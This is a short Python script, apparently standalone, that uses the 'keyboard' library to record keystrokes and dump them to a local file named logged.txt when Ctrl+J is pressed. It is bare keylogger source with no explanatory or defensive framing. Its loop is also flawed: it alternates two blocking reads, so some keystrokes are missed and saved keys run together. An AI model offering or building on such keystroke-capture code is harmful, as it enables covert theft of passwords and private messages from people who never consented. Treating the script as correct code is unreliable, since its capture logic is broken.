import keyboard

keys = []

while True:
    hotkey = keyboard.read_hotkey(suppress=False)
    key = keyboard.read_key(suppress=False)
    if hotkey == 'ctrl+j':
        f = open('logged.txt', 'w+')
        for x in range(0, len(keys)):
            f.write(keys[x])
        f.close()
        break
    elif key != None:
        keys.append(key)